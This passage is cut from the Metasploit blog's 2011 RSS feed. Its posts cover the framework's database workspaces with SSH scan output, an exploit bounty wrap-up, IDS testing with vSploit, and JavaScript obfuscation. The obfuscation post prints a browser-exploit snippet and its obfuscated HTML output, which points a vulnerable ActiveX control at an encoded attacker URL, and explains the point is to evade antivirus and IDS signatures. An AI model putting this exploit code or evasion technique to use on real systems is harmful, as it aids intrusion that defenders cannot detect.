192.168.87.126&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2
192.168.87.140&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
192.168.87.145&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.1p1 Debian-6ubuntu2
192.168.87.158&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
192.168.88.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-dropbear_0.52
192.168.89.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-dropbear_0.52
192.168.90.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-dropbear_0.52
192.168.90.61&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu6
192.168.93.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-dropbear_0.52
192.168.96.1&amp;#160;&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.3p1 Debian-3ubuntu7
192.168.96.134&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
192.168.98.131&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160; tcp&amp;#160;&amp;#160;&amp;#160; ssh&amp;#160;&amp;#160; open&amp;#160;&amp;#160; SSH-2.0-OpenSSH_5.1p1 FreeBSD-20080901

RHOSTS =&amp;gt; file:/tmp/msf-db-rhosts-20110722-19191-18zr3bq-0

msf auxiliary(ssh_version) &amp;gt; show options

Module options (auxiliary/scanner/ssh/ssh_version):

&amp;#160;&amp;#160; Name&amp;#160;&amp;#160;&amp;#160;&amp;#160; Current Setting&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Required&amp;#160; Description
&amp;#160;&amp;#160; ----&amp;#160;&amp;#160;&amp;#160;&amp;#160; ---------------&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; --------&amp;#160; -----------
&amp;#160;&amp;#160; RHOSTS&amp;#160;&amp;#160; file:/tmp/msf-db-rhosts-20110722-19191-18zr3bq-0&amp;#160; yes&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; The target address range or CIDR identifier
&amp;#160;&amp;#160; RPORT&amp;#160;&amp;#160;&amp;#160; 22&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; yes&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; The target port
&amp;#160;&amp;#160; THREADS&amp;#160; 254&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; yes&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; The number of concurrent threads
&amp;#160;&amp;#160; TIMEOUT&amp;#160; 30&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; yes&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Timeout for the SSH probe

&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:88fbaec5-d361-4c15-8322-23c64ae9dd13]--&gt;&lt;p&gt;Another way to make dealing with all that data easier is through the use of workspaces.&amp;#160; Workspaces have been around for awhile, but they are an underused feature that allows you to seperate hosts, credentials, etc. for each engagement into their own silo.&amp;#160; Every piece of data that metasploit records is associated with the current workspace, so it's quite easy to keep related information together and ﻿﻿﻿segregate different engagements by switching workspaces.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The command by itself will list available workspaces, the current one marked with an asterisk: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;!--[CodeBlockStart:b52201b7-abc2-4573-822a-1b7f9ed2a6a7]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;msf &amp;gt; workspace
&amp;#160; default
* engagement_A
&amp;#160; engagement_B
&amp;#160; engagement_C
&amp;#160; the_whole_friggin_internet

&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:b52201b7-abc2-4573-822a-1b7f9ed2a6a7]--&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;You can change the current workspace with &lt;span style="font-family: 'courier new', courier;"&gt;workspace &amp;lt;name&amp;gt;&lt;/span&gt;.&amp;#160; For extra convenience, names are tab-completable, too.&amp;#160; You can add new workspaces with -a or delete existing ones with -d.&amp;#160; Note that -d assumes you really meant it and will happily delete the whole thing (including hosts, credentials, loot, and all) without prompting. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The journey from a glued-on appendage, to a main feature only used by db_autopwn, to a core feature integrated with the whole framework has been an adventure.&amp;#160; I think the result is easier access to information, better seperation of that data, and a smoother, faster pentest. &lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:7dc00871-5d07-4ae4-b9be-694ef65be5cd] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/M_0gwB7S18Q" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">database</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">db_hosts</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">db_services</category>
      <pubDate>Sat, 23 Jul 2011 00:57:55 GMT</pubDate>
      <author>egypt@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/22/metasploit-40-the-database-as-a-core-feature</guid>
      <dc:date>2011-07-23T00:57:55Z</dc:date>
      <clearspace:dateToText>1 month, 2 weeks ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/metasploit-40-the-database-as-a-core-feature</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5401</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/22/metasploit-40-the-database-as-a-core-feature</feedburner:origLink></item>
    <item>
      <title>Metasploit Bounty: Code, Sweat, and Tears</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/cJCjYm_9nn0/draft-metasploit-bounty-the-end</link>
      <description>&lt;!-- [DocumentBodyStart:f98de430-a871-4da2-a664-59f399bfa548] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;After more than 30 days of hardcore and intense exploit hunting, the Metasploit Bounty program has finally come to an end. First off, we'd like to say that even though the Metasploit Framework has made exploit development much easier, the process is not always an easy task. We're absolutely amazed how hard our participants tried to make magic happen.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Often, the challenge begins with finding the vulnerable software. If you're lucky, you can find what you need from 3rd-party websites that mirror different versions of the application, or you can download the trial version from the vendor (that is, if the trial version is still vulnerable).&amp;#160; If you can't find it this way, well, good luck getting your hands on it. This process alone can sometimes take more time than writing the exploit.&amp;#160; Unfortunately, quite a few of our participants gave up at this phase.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;The next thing you do is gather as much information as possible about the vulnerability (CVE, OSVDB, ZDI, mailing lists, blogs, vendor's bug tracking system, etc). Reverse engineer the protocol or file format you're working with, find the root-cause by using whatever techniques (patch diffing, source code auditing, fuzzing, injection, etc), and then try to trigger a crash... hopefully a good one.&amp;#160; In two occasions, thanks to Joshua J. Drake, Jon Butler, and Carlos' reversing-fu, we found out that &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/06/27/ms11-030-exploitable-or-not"&gt;CVE-2011-0657 (MS11-030)&lt;/a&gt; and &lt;a class="jive-link-external-small" href="http://blog.carlosgarciaprado.com/?p=668"&gt;CVE-2011-1206 (IBM Tivoli LDAP)&lt;/a&gt; are most likely non-exploitable. Even if a vulnerability is not exploitable, the effort spent trying to exploit it is not wasted. Often times the experience of attempting a difficult exploit can be a great learning experience, and sharing that experience gives other people insight into the real impact of the vulnerability.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Once you have a nice crash, you try to exploit the bug and gain code execution.&amp;#160; Exploitation is all about precision, and there are many things you have to consider to get reliable code execution, which means there are many ways you can fail: bad heap layout, overwrite a freed object with an incorrect size, some variable on the stack you forgot to account for, overwrite a RET address, SEH, or a ROP gadget with an address that changes with every install, every service pack, or every patch level, etc, etc. Sometimes, you don't even realize that until you start throwing the exploit against all your VMs.&amp;#160; If that's the case, you go back and fix it... or worst case scenario, you rewrite &lt;a class="jive-link-external-small" href="https://www.corelan.be/index.php/2011/07/27/metasploit-bounty-the-good-the-bad-and-the-ugly/"&gt;four or five times just to get it right&lt;/a&gt;.&amp;#160; And that sucks!&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Keep in mind that all this hard work had to be done within one week, and many of the participants could only do it in their spare time.&amp;#160; But of course, some lucky fews were blessed by other people from the security community with exploit writing, the Metasploit team also received assistance from fellow hackers with the vetting process.&amp;#160; To those who helped, you know who you are -- THANK YOU!:-)&amp;#160;&amp;#160; But again, we would also like to thank the following people for participating, the amount of participation we saw was unexpected and greatly appreciated (for those who specified a nickname, that's the name you'll be listed here):&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;BH&lt;/li&gt;&lt;li&gt;Alino&lt;/li&gt;&lt;li&gt;Joshua J. Drake&lt;/li&gt;&lt;li&gt;glitch07&lt;/li&gt;&lt;li&gt;kc57&lt;/li&gt;&lt;li&gt;Lepke&lt;/li&gt;&lt;li&gt;HeadlessZeke&lt;/li&gt;&lt;li&gt;hal&lt;/li&gt;&lt;li&gt;diedthreetimes&lt;/li&gt;&lt;li&gt;woFF&lt;/li&gt;&lt;li&gt;Abysssec&lt;/li&gt;&lt;li&gt;Lincoln&amp;amp;&amp;#160; Corelanc0d3r&lt;/li&gt;&lt;li&gt;"hidden"&lt;/li&gt;&lt;li&gt;kralor&lt;/li&gt;&lt;li&gt;mog&lt;/li&gt;&lt;li&gt;axtaxt&lt;/li&gt;&lt;li&gt;rusko&lt;/li&gt;&lt;li&gt;AmonAmarth&lt;/li&gt;&lt;li&gt;Rob&lt;/li&gt;&lt;li&gt;Patrick Webster&lt;/li&gt;&lt;li&gt;Boris&lt;/li&gt;&lt;li&gt;xero_&lt;/li&gt;&lt;li&gt;nebojsa&lt;/li&gt;&lt;li&gt;Jon Butler&lt;/li&gt;&lt;li&gt;mr_me&lt;/li&gt;&lt;li&gt;cons0ul&lt;/li&gt;&lt;li&gt;Juan Vazquez&lt;/li&gt;&lt;li&gt;Mark Scrano&lt;/li&gt;&lt;/ul&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Lastly, as planned, we will move on to the paying phase. And for those who are going to Las Vegas for Black Hat / Defcon, we will see you there :-)&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:f98de430-a871-4da2-a664-59f399bfa548] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/cJCjYm_9nn0" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">development</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">exploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">community</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit-framework</category>
      <pubDate>Thu, 21 Jul 2011 17:12:27 GMT</pubDate>
      <author>sinn3r@metasploit.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/21/draft-metasploit-bounty-the-end</guid>
      <dc:date>2011-07-21T17:12:27Z</dc:date>
      <clearspace:dateToText>1 month, 1 week ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/draft-metasploit-bounty-the-end</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5399</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/21/draft-metasploit-bounty-the-end</feedburner:origLink></item>
    <item>
      <title>Testing Snort IDS with Metasploit vSploit Modules</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/2TvVWD4ESG0/testing-snort-ids-with-metasploit-vsploit-modules</link>
      <description>&lt;!-- [DocumentBodyStart:f66277c7-33db-4428-bd32-aa03844f0926] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;One of my key objectives for developing the new &lt;a class="jive-link-blog-small" href="https://community.rapid7.com/community/metasploit/blog/2011/06/02/vsploit--virtualizing-exploitation-attributes-with-metasploit-framework"&gt;vSploit modules&lt;/a&gt; was to test network devices such as &lt;a class="jive-link-external-small" href="http://www.snort.org"&gt;Snort&lt;/a&gt;. Snort or &lt;a class="jive-link-external-small" href="http://www.sourcefire.com"&gt;Sourcefire&lt;/a&gt; enterprise products are widely deployed in enterprises, so Snort can safely be considered the de-facto standard when it comes to intrusion detection systems (IDS). So much that even third-party intrusion detection systems often import Snort rules. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Organizations are often having a tough time verifying that their IDS deployment actually work as intended, which is why I created several vSploit modules to test whether Snort sensors are seeing certain traffic. Since vSploit modules were made to trigger Snort alerts, they don't obfuscate attacks to avoid detection.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;However, not every rule is used in every environment. For example, if you aren't using Microsoft Frontpage on your network, you likely won't want to use Snort's Frontpage rules. On the other hand, if you are running Frontpage you may not want to try exploiting it because it may affect the production system. Because of Metasploit Framework's flexibility, you can use the vSploit Generic HTTP Server module to host a small web server that answers all testing requests, so production systems won't be affected. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;You can run vSploit modules with a mix of Metasploit Framework, Metasploit Pro, and Metasploit Express, providing there is end-to-end network connectivity to the vSploit instances: &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5394-1342/2011-07-08_1602.png"&gt;&lt;img alt="2011-07-08_1602.png" class="jive-image-thumbnail jive-image" height="191" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5394-1342/450-191/2011-07-08_1602.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;To try out the new vSploit modules, start up the vSploit Generic HTTP Server.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5394-1338/2011-07-08_1531_001.png"&gt;&lt;img alt="2011-07-08_1531_001.png" class="jive-image-thumbnail jive-image" height="158" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5394-1338/450-158/2011-07-08_1531_001.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Then launch Frontpage-related attack attributes:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5394-1339/2011-07-08_1531.png"&gt;&lt;img alt="2011-07-08_1531.png" class="jive-image-thumbnail jive-image" height="248" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5394-1339/450-248/2011-07-08_1531.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Verify that the packets are being transmitted in Wireshark:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5394-1340/2011-07-08_1542.png"&gt;&lt;img alt="2011-07-08_1542.png" class="jive-image-thumbnail jive-image" height="164" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5394-1340/450-164/2011-07-08_1542.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Finally, verify that Snort IDS sees the activity:&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5394-1341/2011-07-08_1551.png"&gt;&lt;img alt="2011-07-08_1551.png" class="jive-image-thumbnail jive-image" height="272" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5394-1341/450-272/2011-07-08_1551.png" width="450"/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Metasploit vSploit Modules will be released at DEFCON 19.&lt;/p&gt;&lt;/div&gt;&lt;!-- [DocumentBodyEnd:f66277c7-33db-4428-bd32-aa03844f0926] --&gt;&lt;img src="http://feeds.feedburner.com/~r/metasploit/blog/~4/2TvVWD4ESG0" height="1" width="1"/&gt;</description>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">metasploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">vsploit</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">snort</category>
      <category domain="https://community.rapid7.com/community/metasploit/blog/tags">ids</category>
      <pubDate>Fri, 08 Jul 2011 22:24:03 GMT</pubDate>
      <author>mjc@rapid7.com</author>
      <guid isPermaLink="false">https://community.rapid7.com/community/metasploit/blog/2011/07/08/testing-snort-ids-with-metasploit-vsploit-modules</guid>
      <dc:date>2011-07-08T22:24:03Z</dc:date>
      <clearspace:dateToText>1 month, 4 weeks ago</clearspace:dateToText>
      <clearspace:objectType>0</clearspace:objectType>
      <wfw:comment>https://community.rapid7.com/community/metasploit/blog/comment/testing-snort-ids-with-metasploit-vsploit-modules</wfw:comment>
      <wfw:commentRss>https://community.rapid7.com/community/metasploit/blog/feeds/comments?blogPost=5394</wfw:commentRss>
    <feedburner:origLink>https://community.rapid7.com/community/metasploit/blog/2011/07/08/testing-snort-ids-with-metasploit-vsploit-modules</feedburner:origLink></item>
    <item>
      <title>Javascript Obfuscation in Metasploit</title>
      <link>http://feedproxy.google.com/~r/metasploit/blog/~3/AtDl_ZyIcEo/jsobfu</link>
      <description>&lt;!-- [DocumentBodyStart:0d8f246f-3eaf-42ae-8b54-bbad336d148b] --&gt;&lt;div class="jive-rendered-content"&gt;&lt;p&gt;As of this writing, Metasploit has 152 browser exploits. Of those, 116 use javascript either to trigger the vulnerability or as a means to control the memory layout of the browser process [1]. Right now most of that javascript is static. That makes it easier for anti-virus and IDS folks to signature. That makes it less likely for you to get a shell. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Skape recognized this problem several years ago and added Rex::Exploitation::ObfuscateJS to address it. This first-gen obfuscator was based on substituting static strings which requires &lt;em&gt;a priori&lt;/em&gt; knowledge of what you want to substitute, meaning you need to take care of variable names. Changes to the code need to be reflected in the calls to obfuscate() and anything you miss will remain static. It also means that you have to ensure variable names don't end up in a string or elsewhere where they might get inadvertantly smashed. To overcome these limitations, several modules employ a simple technique of using random values for javascript vars but they lose out on string manipulations. &lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Enter RKelly, a pure-ruby javascript lexer. Having a full parser gives us a lot more power than the previous obfuscation techniques available in the framework. For one, it gives us type information for literals, which makes string and number mangling really easy.&amp;#160; While a particular static ROP chain might be easy to fingerprint, that same string can be easily represented numerous ways through javascript manipulations. Some of the ideas for mangling literals came from Drivesploit with several new techniques thrown in as well. There's even a wrapper class, Rex::Exploitation::JSObfu for dealing with it. Syntax is simlar to it's older cousin, but without the need for klunky lists of varnames to replace.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;Here's an example from ﻿windows/browser/cisco_anyconnect_exec:&lt;/p&gt;&lt;!--[CodeBlockStart:542500a5-05b6-4abe-8ba5-3a9a7cac0e99]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;﻿﻿﻿﻿﻿
&amp;#160;&amp;#160;&amp;#160; js = ::Rex::Exploitation::JSObfu.new %Q|
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; var x = document.createElement("object"); 
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; x.url = "#{url}/#{dir}/";
&amp;#160;&amp;#160;&amp;#160; |
&amp;#160;&amp;#160;&amp;#160; js.obfuscate
&amp;#160;&amp;#160;&amp;#160; html = "&amp;lt;html&amp;gt;\n&amp;lt;script&amp;gt;\n#{js}\n&amp;lt;/script&amp;gt;\n&amp;lt;/html&amp;gt;"


&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:542500a5-05b6-4abe-8ba5-3a9a7cac0e99]--&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;And the html as delivered to a browser:&lt;/p&gt;&lt;!--[CodeBlockStart:a48e7e8c-c8ce-405b-a7d3-8a89c8850844]--&gt;&lt;pre class="jive-pre"&gt;&lt;code class="jive-code"&gt;&amp;lt;html&amp;gt;
&amp;lt;script&amp;gt;
var GPSweCkB = document.createElement((function () { var XoNO="ject",apoc="ob"; return apoc+XoNO })());
GPSweCkB.setAttribute((function () { var pYmx="ssid",aTIE="a",tvPA="cl"; return tvPA+aTIE+pYmx })(), (function () { var MbWt="7566",UcNA="7",PUHo="c",yFIi="6-2F5",YXvW="sid",sYCs="E-4BAF",SZBF="9",yZMK="-AC28-CF26AA",BmVk="l",AbBB="58",iRQW="636",RQLv=":55"; return PUHo+BmVk+YXvW+RQLv+SZBF+iRQW+UcNA+yFIi+sYCs+yZMK+AbBB+MbWt })());
GPSweCkB.url = String.fromCharCode(104,0164,0164,112,0x3a,0x2f,0x2f,49,50,067,056,48,0x2e,48,46,49,072,0x38,060,070,060,47,47,112,0165,0x46,0x62,0x4a,111,0146,0124,0143,0172,0x43,89,82,0x75,65,111,81,47);
&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;&lt;!--[CodeBlockEnd:a48e7e8c-c8ce-405b-a7d3-8a89c8850844]--&gt;&lt;p&gt;Of course, this will be different for each request.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;So now a call to arms. We could use some help testing 116 browser exploits to see if javascript obfuscation is viable and several issues make that more challenging. For one, getting ahold of the vulnerable software is sometimes quite difficult. Also, in some cases where the vulnerability has very restrictive memory layout requirements, obfuscation may break the exploit.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;What we need is people with old browsers and old plugins/toolbars/etc who can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Modify exploit modules to use the new obfuscation techniques&lt;/li&gt;&lt;li&gt;Test their changes against as many versions of the vulnerable software as possible&lt;/li&gt;&lt;li&gt;Test their changes against any anti-virus that claims to protect web browsing&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If you're interested in helping out, contact me in #metasploit on FreeNode, or @egyp7 on twitter.&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 8pt;"&gt;&lt;span style="font-family: 'andale mono', times;"&gt;[1] &lt;/span&gt;Gathered with the following commands: 